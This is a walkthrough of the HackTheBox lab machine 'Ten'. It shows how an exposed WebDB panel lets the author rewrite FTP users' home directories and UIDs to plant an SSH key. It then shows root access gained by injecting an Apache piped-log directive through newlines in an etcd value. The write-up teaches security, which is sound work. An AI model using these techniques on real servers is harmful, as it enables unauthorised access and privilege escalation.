HTB: Ten

Ten offers a website with hosting services, where the user can sign up for a subdomain and get access to FTP to put files into that domain. There’s also an open WebDM instance, and on getting access, I’ll find I can modify the directories used by the FTP server and the user ID such that I can write an SSH key into a user’s directory and get access. With that foothold, I’ll see that the website is using etcd and remco to generate Apache configs as users create sites. I’ll abuse that to get a shell as root.
Box Info
Name | Ten ![]() Play on HackTheBox |
---|---|
Release Date | 24 Jul 2025 |
Retire Date | 24 Jul 2025 |
OS | Linux ![]() |
Base Points | Hard [40] |
![]() |
N/A (non-competitive) |
![]() |
N/A (non-competitive) |
Creator |
Recon
Initial Scanning
nmap
finds three open TCP ports, FTI (21), SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-22 03:29 UTC
...[snip]...
Scanned at 2025-07-22 03:29:16 UTC for 7s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds
Raw packets sent: 65539 (2.884MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 21,22,80 -sCV 10.129.234.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-22 03:30 UTC
Nmap scan report for 10.129.234.149
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 13:98:54:52:d3:7b:ae:32:6a:33:6f:18:a3:5a:27:66 (ECDSA)
|_ 256 2e:d5:86:25:c1:6b:0e:51:a2:2a:dd:82:44:a6:00:63 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Page moved.
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.64 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy (though it could be 22.10 kinetic).
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
FTP - TCP 21
nmap
would typically show if anonymous login is allow, but I’ll try just in case:
oxdf@hacky$ ftp anonymous@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 19:52. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User anonymous OK. Password required
Password:
530 Login authentication failed
ftp: Login failed
ftp>
It fails.
Website - TCP 80
Site
Visiting the site by IP redirects to /index.php
, which presents a page about a hosting company:
The “Sign up today” link leads to a simple page asking for a domain name:

If I enter “oxdf” into the box and click “Request credentials.”, it hangs for a few seconds and returns:

Tech Stack
The page extensions are all .php
, so it’s a PHP site.
The HTTP response headers just show the Apache server:
HTTP/1.1 200 OK
Date: Mon, 21 Jul 2025 19:56:48 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 5131
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
The 404 page is the default Apache as well:

Directory Brute Force
I’ll run feroxbuster
against the site, and include -x php
since I know the site is PHP:
oxdf@hacky$ feroxbuster -u http://ten.vl -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://ten.vl
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 268c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 90l 208w 1632c http://ten.vl/carousel.css
200 GET 97l 297w 4050c http://ten.vl/signup.php
200 GET 90l 402w 39588c http://ten.vl/dist/img/caffeine-coffee-cup-6347.jpg
200 GET 81l 464w 44565c http://ten.vl/dist/img/cyber-security-cybersecurity-device-60504.jpg
200 GET 7l 971w 76855c http://ten.vl/dist/js/bootstrap.bundle.min.js
200 GET 7l 1966w 155758c http://ten.vl/dist/css/bootstrap.min.css
200 GET 199l 1208w 122095c http://ten.vl/dist/img/account-calculate-calculating-220301.jpg
200 GET 130l 754w 81244c http://ten.vl/dist/img/black-and-white-computer-device-163017.jpg
200 GET 221l 1367w 147808c http://ten.vl/dist/img/abstract-ai-art-373543.jpg
200 GET 1169l 5839w 651702c http://ten.vl/dist/img/ai-codes-coding-97077.jpg
200 GET 1408l 6105w 617689c http://ten.vl/dist/img/ai-artificial-intelligence-codes-247791.jpg
302 GET 1l 8w 76c http://ten.vl/get-credentials-please-do-not-spam-this-thanks.php => http://ten.vl/signup.php
200 GET 113l 404w 5131c http://ten.vl/index.php
200 GET 9l 25w 205c http://ten.vl/
200 GET 844l 4357w 74269c http://ten.vl/info.php
200 GET 78l 226w 4525c http://ten.vl/attribution.php
200 GET 127l 339w 23825c http://ten.vl/dist/img/donkey-ddos.jpg
200 GET 133l 601w 58305c http://ten.vl/dist/img/art-bright-card-1749900.jpg
200 GET 952l 5029w 527530c http://ten.vl/dist/img/business-code-coding-943096.jpg
200 GET 879l 4746w 402071c http://ten.vl/dist/img/abstract-architecture-attractive-988873.jpg
301 GET 9l 28w 299c http://ten.vl/dist => http://ten.vl/dist/
[##################>-] - 56s 28452/30045 3s found:21 errors:2
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_ten_vl-1753157196.state ...
[##################>-] - 56s 28502/30045 3s found:21 errors:2
[#########>----------] - 56s 14207/30000 253/s http://ten.vl/
[####################] - 0s 30000/30000 300000/s http://ten.vl/dist/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 1s 30000/30000 59289/s http://ten.vl/dist/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 5s 30000/30000 6151/s http://ten.vl/dist/img/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 30000/30000 75567/s http://ten.vl/dist/js/ => Directory listing (add --scan-dir-listings to scan)
/info.php
is a PHPinfo page:

/attribution.php
has links to the original sources of the images used on the site:

/dist
is listable, but only has images, CSS, and JavaScript, and nothing interesting.
Custom Site
I’ll add a line to my hosts
file for this box:
10.129.234.149 ten.vl oxdf.ten.vl
Visiting oxdf.ten.vl
returns 404 (for now). I’ll log into FTP with the given creds:
oxdf@hacky$ ftp ten-299467c0@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 20:47. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-299467c0 OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Immediately now the page loads:

I’ll note there’s some weirdness if I use the domain “0xdf”. It never loads. Might be something worth poking at.
If I put a dummy file up over FTP:
ftp> put test.html
local: test.html remote: test.html
229 Extended Passive mode OK (|||3738|)
150 Accepted data connection
100% |******************************************************************************************| 6 189.01 KiB/s 00:00 ETA
226-File successfully transferred
226 0.091 seconds (measured here), 65.70 bytes per second
6 bytes sent in 00:00 (0.06 KiB/s)
It shows up on the site:

I’ll try to put PHP files up, but they don’t execute, just return the raw file:
oxdf@hacky$ curl http://oxdf.ten.vl/test.php
<?php echo "hello"; ?>
I am able to request the same site again, and it gives new creds. At this point, I can FTP into a new empty account. Files there don’t show up on the webserver.
Subdomain Enumeration
Given the clear use of virtual host routing on the webserver, I’ll brute force for any subdomains that respond differently than the default page:
oxdf@hacky$ ffuf -u http://10.129.234.149 -H "Host: FUZZ.ten.vl" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.234.149
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.ten.vl
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
webdb [Status: 200, Size: 1685, Words: 55, Lines: 14, Duration: 129ms]
:: Progress: [19966/19966] :: Job [1/1] :: 434 req/sec :: Duration: [0:00:48] :: Errors: 0 ::
I’ll add this to my /etc/hosts
file as well.
webdb.ten.vl - TCP 80
The site offers a list of databases with one entry, MySQL on localhost:

This looks like an instance of WebDB. I don’t have creds, but pushing the “Guess Credentials” button pops up the valid creds:

And then loads the interface under connected:

Going into the pureftpd
db, there is one table, users
, and it has a bunch of accounts I created:

Shell as tyrell
Access Filesystem
Access /srv
I’ll try editing the dir
value for an account I control. It seems each intended value is /srv/<username>/./
. I’ll try making it just /./
:

The error at the bottom suggests there’s a rule validating that the dir
value starts with /srv
. I can try just /srv/./
, and it saves:

If I reconnect to FTP with this user, I’ll see I’m up a directory:
oxdf@hacky$ ftp ten-9a28ba33@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 21:40. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-9a28ba33 OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Extended Passive mode OK (|||30361|)
150 Accepted data connection
drwxr-xr-x 2 56773 56773 4096 Jul 21 20:53 ten-299467c0
drwxr-xr-x 2 10211 10211 4096 Jul 21 21:01 ten-9a28ba33
drwxr-xr-x 2 58887 58887 4096 Jul 21 20:44 ten-9d4beaf5
drwxr-xr-x 2 40721 40721 4096 Jul 21 20:35 ten-bb4b6261
drwxr-xr-x 2 18568 18568 4096 Jul 21 20:46 ten-e025484e
226-Options: -l
226 5 matches total
This user can access files in all the other directories, but they were all created by me, and there’s nothing interesting.
Directory Traversal
I’ll try updating my user’s dir
to /srv/..
, which in theory should put the root at /
. It is accepted in the web UI:

And it works:
oxdf@hacky$ ftp ten-9a28ba33@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 21:42. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-9a28ba33 OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Extended Passive mode OK (|||34410|)
150 Accepted data connection
lrwxrwxrwx 1 0 root 7 Feb 16 2024 bin -> usr/bin
drwxr-xr-x 4 0 root 4096 Jun 24 20:09 boot
dr-xr-xr-x 2 0 root 4096 Jul 2 11:30 cdrom
drwxr-xr-x 19 0 root 4000 Jul 21 13:20 dev
drwxr-xr-x 107 0 root 4096 Jul 2 12:27 etc
drwxr-xr-x 3 0 root 4096 Sep 28 2024 home
lrwxrwxrwx 1 0 root 7 Feb 16 2024 lib -> usr/lib
lrwxrwxrwx 1 0 root 9 Feb 16 2024 lib32 -> usr/lib32
lrwxrwxrwx 1 0 root 9 Feb 16 2024 lib64 -> usr/lib64
lrwxrwxrwx 1 0 root 10 Feb 16 2024 libx32 -> usr/libx32
drwx------ 2 0 root 16384 Sep 28 2024 lost+found
drwxr-xr-x 2 0 root 4096 Feb 16 2024 media
drwxr-xr-x 2 0 root 4096 Feb 16 2024 mnt
drwxr-xr-x 3 0 root 4096 Sep 28 2024 opt
dr-xr-xr-x 295 0 root 0 Jul 21 13:20 proc
drwx------ 7 0 root 4096 Jul 2 12:29 root
drwxr-xr-x 35 0 root 1040 Jul 21 20:55 run
lrwxrwxrwx 1 0 root 8 Feb 16 2024 sbin -> usr/sbin
drwxr-xr-x 6 0 root 4096 Feb 16 2024 snap
drwxr-xr-x 7 0 root 4096 Jul 21 21:00 srv
dr-xr-xr-x 13 0 root 0 Jul 21 13:20 sys
drwxrwxrwt 16 0 root 4096 Jul 21 21:39 tmp
drwxr-xr-x 14 0 root 4096 Feb 16 2024 usr
drwxr-xr-x 14 0 root 4096 Sep 28 2024 var
226-Options: -l
226 24 matches total
Filesystem Enumeration
In /etc/
, I can grab passwd
:
ftp> cd etc
250 OK. Current directory is /etc
ftp> get passwd
local: passwd remote: passwd
229 Extended Passive mode OK (|||26871|)
150 Accepted data connection
100% |******************************************************************************************| 1882 15.08 MiB/s 00:00 ETA
226-File successfully transferred
226 0.000 seconds (measured here), 26.41 Mbytes per second
1882 bytes received in 00:00 (4.30 MiB/s)
The only user on the box besides root with a shell is tyrell:
oxdf@hacky$ cat passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash
If I try to get shadow
, it fails:
ftp> get shadow
local: shadow remote: shadow
229 Extended Passive mode OK (|||47595|)
550 Can't open shadow: Permission denied
tyrell has a home directory as well:
ftp> cd /home
250 OK. Current directory is /home
ftp> ls
229 Extended Passive mode OK (|||22373|)
150 Accepted data connection
drwxr-x--- 4 1000 tyrell 4096 Jun 24 20:09 tyrell
226-Options: -l
226 1 matches total
The FTP user doesn’t seem to have access:
ftp> cd tyrell
550 Can't change directory to tyrell: Permission denied
SSH
Update User
The table also has the user’s UID and GID. I’ll try updating the user’s UID and GID to 0 (for root):

It must be at least 1000. passwd
showed that the tyrell user’s UID is 1000. I’m able to save that:

I’ll reconnect FTP and now I’m able to get into /home/tyrell
:
ftp> cd /home/tyrell
250 OK. Current directory is /home/tyrell
ftp> ls -la
229 Extended Passive mode OK (|||12173|)
150 Accepted data connection
drwxr-x--- 4 1000 tyrell 4096 Jun 24 20:09 .
drwxr-xr-x 3 0 root 4096 Sep 28 2024 ..
lrwxrwxrwx 1 0 root 9 Jun 24 20:09 .bash_history -> /dev/null
-rw-r--r-- 1 1000 tyrell 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 1000 tyrell 3771 Jan 6 2022 .bashrc
drwx------ 2 1000 tyrell 4096 Sep 28 2024 .cache
-rw-r--r-- 1 1000 tyrell 807 Jan 6 2022 .profile
drwx------ 2 1000 tyrell 4096 Sep 28 2024 .ssh
-r-------- 1 1000 tyrell 33 Apr 11 05:17 .user.txt
226-Options: -a -l
226 9 matches total
If I try to get .user.txt
, it returns an error:
ftp> get .user.txt
local: .user.txt remote: .user.txt
229 Extended Passive mode OK (|||27093|)
553 Prohibited file name: .user.txt
I’m also not able to get into .ssh
:
ftp> cd .ssh
553 Prohibited file name: .ssh
Access .ssh
I can’t cd
into .ssh
. There seems to be a block on anything that starts with .
. But what if I try setting the base directory to /home/tyrell/.ssh
? It works in the web DB UI:

On connecting, the session shows an empty directory:
oxdf@hacky$ ftp ten-9a28ba33@10.129.234.149
Connected to 10.129.234.149.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 22:03. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-9a28ba33 OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Extended Passive mode OK (|||39958|)
150 Accepted data connection
drwx------ 2 1000 tyrell 4096 Jul 21 22:01 .
drwx------ 2 1000 tyrell 4096 Jul 21 22:01 ..
226-Options: -a -l
226 2 matches total
Write Key
With access to a potential .ssh
folder, I’ll put my public SSH key into the authorized_keys
file in that directory:
ftp> put ~/keys/ed25519_gen.pub authorized_keys
local: /home/oxdf/keys/ed25519_gen.pub remote: authorized_keys
229 Extended Passive mode OK (|||36980|)
150 Accepted data connection
100% |******************************************************************************************| 96 1.94 MiB/s 00:00 ETA
226-File successfully transferred
226 0.091 seconds (measured here), 1.03 Kbytes per second
96 bytes sent in 00:00 (1.02 KiB/s)
I’ll connect with SSH, and it works:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen tyrell@ten.vl
System information as of Mon Jul 21 10:04:29 PM UTC 2025
System load: 0.08 Processes: 245
Usage of /: 70.9% of 8.07GB Users logged in: 1
Memory usage: 16% IPv4 address for eth0: 10.129.234.149
Swap usage: 0%
tyrell@ten:~$
Here I have access to .user.txt
:
tyrell@ten:~$ cat .user.txt
a0a255ad************************
Shell as root
Enumeration
Home Directories
tyrell’s home directory is otherwise empty:
tyrell@ten:~$ find . -type f
./.ssh/authorized_keys
./.profile
./.cache/motd.legal-displayed
./.user.txt
./.bashrc
./.bash_logout
They are the only user with a home directory in /home
:
tyrell@ten:/home$ ls
tyrell
tyrell and root are the only users with shells set in passwd
:
tyrell@ten:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash
Web Configuration
There are three Apache sites are configured in /etc/apache2/sites-enabled
:
tyrell@ten:/etc/apache2/sites-enabled$ ls
000-default.conf 001-webdb.conf 010-customers.conf
000-default.conf
simply hosts the files in /var/www/html
:
<VirtualHost *:80>
ServerAdmin webmaster@ten.vl
DocumentRoot /var/www/html
</VirtualHost>
001-webdb.conf
forwards traffic to that virtual host to localhost port 22071, which is the webdb instance:
<VirtualHost *:80>
ServerAdmin webmaster@ten.vl
ServerName webdb.ten.vl
ProxyPass "/" "http://127.0.0.1:22071/"
ProxyPassReverse "/" "http://127.0.0.1:22071/"
</VirtualHost>
010-customers.conf
has an entry for each site I’ve registered:
<VirtualHost *:80>
ServerName asdasd.ten.vl
DocumentRoot /srv/ten-13e92a74/
</VirtualHost>
<VirtualHost *:80>
ServerName oxdf.ten.vl
DocumentRoot /srv/ten-299467c0/
</VirtualHost>
<VirtualHost *:80>
ServerName 0xdf.ten.vl
DocumentRoot /srv/ten-6c7a27a3/
</VirtualHost>
<VirtualHost *:80>
ServerName oxdf.ten.vl
DocumentRoot /srv/ten-9a28ba33/
</VirtualHost>
...[snip]...
It’s interesting that if I register the same name multiple times, it just creates a new entry with the duplicate name. That’s why I’m not able to get to any but the first registered with a given name.
Website
/var/www/html
has the PHP files that control the site:
tyrell@ten:/var/www/html$ ls
attribution.php get-credentials-please-do-not-spam-this-thanks.php index.php
carousel.css images.txt info.php
dist index.html signup.php
Only one file really have any PHP that executes, get-credentials-please-do-not-spam-this-thanks.php
. This is where the POST requests to create a domain go.
It starts by making sure the domain
POST parameter is set, and redirecting to /signup.php
if not:
<?php
if ( !isset($_POST['domain']) ) {
header('Location: /signup.php');
}
Then it checks for non alphanumeric characters in the domain, and returns a message if it finds any:
if(!preg_match('/^[0-9a-z]+$/', $_POST['domain'])) {
echo('<font color=red>Domain name can only contain alphanumeric characters.</font>');
} else {
...[snip]...
}
If all is valid, it creates a username, random password, and connects to and updates the database:
} else {
$username = "ten-" . substr(hash("md5",rand()),0,8);
$password = substr(hash("md5",rand()),0,8);
$password_crypt = crypt($password,'$1$OWNhNDE');
sleep(10); // This is only here so that you do not create too many users :)
$mysqli = new mysqli("127.0.0.1", "user", "pa55w0rd", "pureftpd");
$stmt = $mysqli->prepare("INSERT INTO users VALUES ( NULL, ?, ?, ?, ?, ? );");
$uid = random_int(2000,65535);
$dir = "/srv/$username/./";
$stmt->bind_param('ssiis',$username,$password_crypt,$uid,$uid,$dir);
$stmt->execute();
system("ETCDCTL_API=3 /usr/bin/etcdctl put /customers/$username/url " . $_POST['domain']);
echo('<p class="lead">Your personal account is ready to be used:<br><br>Username: <b>'.$username.'</b><br>Password: <b>'.$password.'</b><br>Personal Domain: <b>'.$_POST['domain'].'.ten.vl</b><br><br>You can use the provided credentials to upload your pages<br> via ftp://ten.vl.<br><br><font size="-1">It may take up to one minute for all backend processes to properly identify you as well as your personal virtual host to be available.</font></p>');
}
Then it calls system()
with the etcdctl
command, and then writes the results to the response.
etcd
etcd is a distributed key-value store. The docs have a page called Interacting with etcd that show how to use etcdctl
to read and write from this store.
I can dump all the customer data using the --prefix
flag:
tyrell@ten:/$ ETCDCTL_API=3 etcdctl get /customers/ --prefix
/customers/ten-13e92a74/url
asdasd
/customers/ten-299467c0/url
oxdf
/customers/ten-6c7a27a3/url
0xdf
/customers/ten-9a28ba33/url
oxdf
/customers/ten-9d4beaf5/url
0xdf
/customers/ten-b3e47d77/url
test
/customers/ten-bb4b6261/url
test
/customers/ten-d38ee535/url
0xdf
/customers/ten-e025484e/url
0xdf
remco
There’s a running process named remco
:
tyrell@ten:/$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
...[snip]...
root 975 0.0 0.6 733880 24320 ? Ssl Jul21 1:02 /usr/local/sbin/remco
...[snip]...
remco is a configuration management tool. There are configuration files in /etc/remco
:
tyrell@ten:/etc/remco$ ls
config templates
config
defines what it is doing:
log_level = "info"
log_format = "text"
[[resource]]
name = "apache2"
[[resource.template]]
src = "/etc/remco/templates/010-customers.conf.tmpl"
dst = "/etc/apache2/sites-enabled/010-customers.conf"
reload_cmd = "systemctl restart apache2.service"
[resource.backend]
[resource.backend.etcd]
version = 3
nodes = ["http://127.0.0.1:2379"]
keys = ["/customers"]
watch = true
interval = 5
It’s looking at etcd
and specifically the /customers
key. Any time it changes (on an interval of 5 seconds), it will regenerate the 010-customers.conf
file from the provided template, and then run systemctl restart apache2.service
.
010-customers.conf.tmpl
is a for
loop that generates a VirtualHost
for each key in /customers
:
{% for customer in lsdir("/customers") %}
{% if exists(printf("/customers/%s/url", customer)) %}
<VirtualHost *:80>
ServerName {{ getv(printf("/customers/%s/url",customer)) }}.ten.vl
DocumentRoot /srv/{{ customer }}/
</VirtualHost>
{% endif %}
{% endfor %}
I’ll test writing a simple key / value to etcd
and seeing if it shows up in 010-customers.conf
:
tyrell@ten:/etc$ ETCDCTL_API=3 etcdctl put /customers/AAAA/url BBBB
OK
A few seconds later:
tyrell@ten:/etc$ cat apache2/sites-enabled/010-customers.conf | head -5
<VirtualHost *:80>
ServerName BBBB.ten.vl
DocumentRoot /srv/AAAA/
</VirtualHost>
Shell
Newline Injection
If I can put newlines into the etcd
values, then I can inject parameters into the Apache config file. I’ll start with a simple test that hopefully won’t break Apache when it restarts:
tyrell@ten:~$ ETCDCTL_API=3 etcdctl put /customers/ten-1291b4cb/url 'privesc.ten.vl
# test here
#'
OK
It works:
tyrell@ten:~$ head /etc/apache2/sites-enabled/010-customers.conf | head
<VirtualHost *:80>
ServerName privesc.ten.vl
# test here
#.ten.vl
DocumentRoot /srv/ten-1291b4cb/
</VirtualHost>
Piped Logs
I used comments above so that Apache wouldn’t break on restarting. Now it’s time to research execution methods. An interesting trick is to use Piped Logs. This is meant to allow running a command like rotatelogs
on the log when writing to it with something like:
CustomLog "|/usr/local/apache/bin/rotatelogs /var/log/access_log 86400" common
I’ll write a directive to copy the authorized_keys
file from tyrell to root:
tyrell@ten:~$ ETCDCTL_API=3 etcdctl put /customers/ten-1291b4cb/url 'privesc.ten.vl
CustomLog "|$cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common
#'
OK
It shows up in the Apache config:
<VirtualHost *:80>
ServerName privesc.ten.vl
CustomLog "|$cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common
#.ten.vl
DocumentRoot /srv/ten-1291b4cb/
</VirtualHost>
Now I can SSH into Ten:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@ten.vl
System information as of Wed Jul 23 04:06:37 PM UTC 2025
System load: 0.16 Processes: 244
Usage of /: 69.8% of 8.07GB Users logged in: 1
Memory usage: 12% IPv4 address for eth0: 10.129.234.149
Swap usage: 0%
=> There is 1 zombie process.
Last login: Wed Jul 2 12:28:21 2025
root@ten:~#
And grab root.txt
:
root@ten:~# cat root.txt
d89266bd************************